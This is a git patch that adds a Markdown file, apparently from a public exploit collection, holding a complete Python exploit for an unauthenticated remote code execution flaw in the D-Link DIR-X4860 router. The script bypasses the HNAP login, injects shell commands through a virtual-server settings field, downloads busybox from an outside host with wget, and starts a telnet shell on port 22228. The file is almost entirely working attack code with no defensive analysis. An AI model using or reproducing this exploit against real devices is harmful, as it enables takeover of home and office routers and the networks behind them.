From 28b015bc06e627551e1f4f838b6f586ad8d9279d Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sat, 18 May 2024 21:39:45 +0800 Subject: [PATCH] =?UTF-8?q?Create=20D-LINK-DIR-X4860=E6=9C=AA=E6=8E=88?= =?UTF-8?q?=E6=9D=83RCE=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- D-LINK-DIR-X4860未授权RCE漏洞.md | 308 +++++++++++++++++++++++++++++++ 1 file changed, 308 insertions(+) create mode 100644 D-LINK-DIR-X4860未授权RCE漏洞.md diff --git a/D-LINK-DIR-X4860未授权RCE漏洞.md b/D-LINK-DIR-X4860未授权RCE漏洞.md new file mode 100644 index 0000000..881e685 --- /dev/null +++ b/D-LINK-DIR-X4860未授权RCE漏洞.md @@ -0,0 +1,308 @@ +## D-LINK-DIR-X4860未授权RCE漏洞 + +## exp +```python +#!/usr/bin/env python +import hmac +import base64 +import hashlib +from hashlib import sha256 +import time +import math +import logging +import sys +import requests +from urllib3.exceptions import InsecureRequestWarning +# Suppress only the single warning from urllib3 needed. +requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) +# You must initialize logging, otherwise you'll not see debug output. +logging.basicConfig() +logging.getLogger().setLevel(logging.DEBUG) +requests_log = logging.getLogger("requests.packages.urllib3") +requests_log.propagate = True +def get_sha256(value): + """ get_sha256 """ + hsobj = hashlib.sha256() + hsobj.update(value.encode("utf-8")) + return hsobj.hexdigest().upper() +def get_key_hashlib_sha256(key, value): + """get_key_hashlib_sha256""" + hsobj = hashlib.sha256(key.encode("utf-8")) + hsobj.update(value.encode("utf-8")) + return hsobj.hexdigest().upper() +def get_hmac_hashlib_sha256(value): + """get_hmac_hashlib_sha256""" + message = value.encode("utf-8") + return hmac.new(message, digestmod=hashlib.sha256).hexdigest().upper() +def get_hmac_key_hashlib_sha256(key, value): + """get_hmac_key_hashlib_sha256""" + message = value.encode("utf-8") + return ( + hmac.new(key.encode("utf-8"), message, digestmod=hashlib.sha256) + .hexdigest() + .upper() + ) +def get_base64_hmac_sha256(key, value): + """get_base64_hmac_sha256""" + key = key.encode("utf-8") + message = value.encode("utf-8") + sign = base64.b64encode(hmac.new(key, message, digestmod=sha256).digest()) + base64sha256 = str(sign, "utf-8") + return base64sha256 +def get_md5(value): + """get_md5""" + hsobj = hashlib.md5() + hsobj.update(value.encode("utf-8")) + return hsobj.hexdigest().upper() +def get_key_md5(key, value): + """get_key_md5""" + hsobj = hashlib.md5(key.encode("utf-8")) + hsobj.update(value.encode("utf-8")) + return hsobj.hexdigest().upper() +def get_hmac_key_md5(key, value): + """get_hmac_key_md5""" + message = value.encode("utf-8") + return ( + hmac.new(key.encode("utf-8"), message, digestmod=hashlib.md5) + .hexdigest() + .upper() + ) +def get_hmac_md5(value): + """get_hmac_md5""" + message = value.encode("utf-8") + return hmac.new(message, digestmod=hashlib.md5).hexdigest().upper() +def send_http(ip, port, https, headers, data): + """send_http""" + if https is True: + https = "s" + else: + https = "" + res = requests.post( + url=f"http{https}://{ip}:{port}/HNAP1/", + data=data, + headers=headers, + timeout=1, + verify=False, + ) + res_text = res.text + print(f"res_text\n===\n{res.text}\n===\n") + challenge = "" + if "" in res_text: + usb_adv_cgi_id = res_text.split("") + id_value = usb_adv_cgi_id[1].split("") + challenge = id_value[0] + print(f"[+] Challenge = {challenge}") + cookie = "" + if "" in res_text: + usb_adv_cgi_id = res_text.split("") + id_value = usb_adv_cgi_id[1].split("") + cookie = id_value[0] + print(f"[+] Cookie = {cookie}") + public_key = "" + if "" in res_text: + usb_adv_cgi_id = res_text.split("") + id_value = usb_adv_cgi_id[1].split("") + public_key = id_value[0] + print(f"[+] PublicKey = {public_key}") + if "" in res_text: + usb_adv_cgi_id = res_text.split("") + id_value = usb_adv_cgi_id[1].split("") + login_result = id_value[0] + print(f"[+] LoginResult = {login_result}") + return challenge, cookie, public_key, res_text +def login_request(ip, port, https): + """login_result""" + xml_post = """ + + + + request + Admin + Username + + + + +""" + headers = { + "Host": ip, + "X-Requested-With": "XMLHttpRequest", + "SOAPAction": '"http://purenetworks.com/HNAP1/Login"', + "Content-Type": "text/xml; charset=UTF-8", + } + challenge, cookie, public_key, _ = send_http(ip, port, https, headers, xml_post) + if challenge == b"": + print("[-] get Challenge error") + sys.exit(0) + return challenge, cookie, public_key +def login_login(ip, port, https, login_password, hnap_auth, time_now, cookie): + """login_login""" + xml_post = f""" + + + + login + Admin + {login_password} + + + +""" + headers = { + "Host": ip, + "X-Requested-With": "XMLHttpRequest", + "HNAP_AUTH": f"{hnap_auth} {time_now}", + "SOAPAction": '"http://purenetworks.com/HNAP1/Login"', + "Content-Type": "text/xml; charset=UTF-8", + "Cookie": f"uid={cookie}", + } + send_http(ip, port, https, headers, xml_post) +def get_internet_conn_up_time(ip, port, https, hnap_auth, time_now, cookie): + """get_internet_conn_up_time""" + xml_post = """ + + + + +""" + headers = { + "Host": ip, + "X-Requested-With": "XMLHttpRequest", + "HNAP_AUTH": f"{hnap_auth} {time_now}", + "SOAPAction": '"http://purenetworks.com/HNAP1/GetInternetConnUpTime"', + "Content-Type": "text/xml; charset=UTF-8", + "Cookie": f"uid={cookie}", + } + _, _, _, res_text = send_http(ip, port, https, headers, xml_post) + return res_text +def set_virtual_server_settings(ip, port, https, hnap_auth, time_now, cookie, cmd): + """set_virtual_server_settings""" + xml_post = f""" + + + + + + true + false + false + 9 + UDP + UDP + {cmd} + false + + + true + false + false + 9 + UDP + UDP + {cmd} + false + + + true + false + false + 9 + UDP + UDP + {cmd} + false + + + + +""" + headers = { + "Host": ip, + "X-Requested-With": "XMLHttpRequest", + "HNAP_AUTH": f"{hnap_auth} {time_now}", + "SOAPAction": '"http://purenetworks.com/HNAP1/SetVirtualServerSettings"', + "Content-Type": "text/xml; charset=UTF-8", + "Cookie": f"uid={cookie}", + } + send_http(ip, port, https, headers, xml_post) +def exploit(): + """ Exploit """ + target_ip = "192.168.4.1" + target_port = 443 + target_https = True + print("Login_request") + challenge, cookie, public_key = login_request(target_ip, target_port, target_https) + # print(f"{Challenge=}, {Cookie=}, {PublicKey=}") + dummy_password = "Admin" + private_key = get_hmac_key_md5(public_key + dummy_password, challenge) + login_password = get_hmac_key_md5(private_key, challenge) + print(f"[+] login_password : {login_password}") + soap_namespace2 = "http://purenetworks.com/HNAP1/" + action = "Login" + soap_action = f'"{soap_namespace2}{action}"' + print(f"[+] SOAPAction : {soap_action}") + time_now = int(round(time.time() * 1000)) + time_now = math.floor(time_now) % 2000000000000 + time_now = "%d" % time_now + print(f"[+] Time : {time_now}") + hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action) + print(f"[+] HNAP_AUTH : {hnap_auth}") + login_login( + target_ip, target_port, target_https, login_password, hnap_auth, time_now, cookie + ) + soap_namespace2 = "http://purenetworks.com/HNAP1/" + action = "GetInternetConnUpTime" + soap_action = f'"{soap_namespace2}{action}"' + print(f"[+] SOAPAction : {soap_action}") + time_now = int(round(time.time() * 1000)) + time_now = math.floor(time_now) % 2000000000000 + time_now = "%d" % time_now + print(f"[+] Time : {time_now}") + hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action) + print(f"[+] HNAP_AUTH : {hnap_auth}") + print("Checking for the vulnerability") + res_text = get_internet_conn_up_time( + target_ip, target_port, target_https, hnap_auth, time_now, cookie + ) + if "You need proper authorization to use this resource" in res_text: + print("Target doesn't appear to be vulnerable") + print("Running the RCE") + action = "SetVirtualServerSettings" + soap_action = f'"{soap_namespace2}{action}"' + time_now = int(round(time.time() * 1000)) + time_now = math.floor(time_now) % 2000000000000 + time_now = "%d" % time_now + hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action) + print( + "Downloading busybox from 'http://192.168.0.100:8000/busybox' as " + "the one on the device isn't good" + ) + cmd = "1;wget http://192.168.0.100:8000/busybox -O /tmp/tel;AAAAAAAAAAA" + set_virtual_server_settings( + target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd + ) + action = "SetVirtualServerSettings" + soap_action = f'"{soap_namespace2}{action}"' + time_now = int(round(time.time() * 1000)) + time_now = math.floor(time_now) % 2000000000000 + time_now = "%d" % time_now + hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action) + print("Renaming busybox to /tmp/telnetd") + cmd = "1;chmod +x /tmp/tel;mv /tmp/tel /tmp/telnetd;AAAAAAAAAAAAAAAAAAAA" + set_virtual_server_settings( + target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd + ) + action = "SetVirtualServerSettings" + soap_action = f'"{soap_namespace2}{action}"' + time_now = int(round(time.time() * 1000)) + time_now = math.floor(time_now) % 2000000000000 + time_now = "%d" % time_now + hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action) + print("Launching telnetd on port 22228") + cmd = b"1;/tmp/telnetd -p 22228 -l sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + set_virtual_server_settings( + target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd + ) +if __name__ == "__main__": + exploit() +```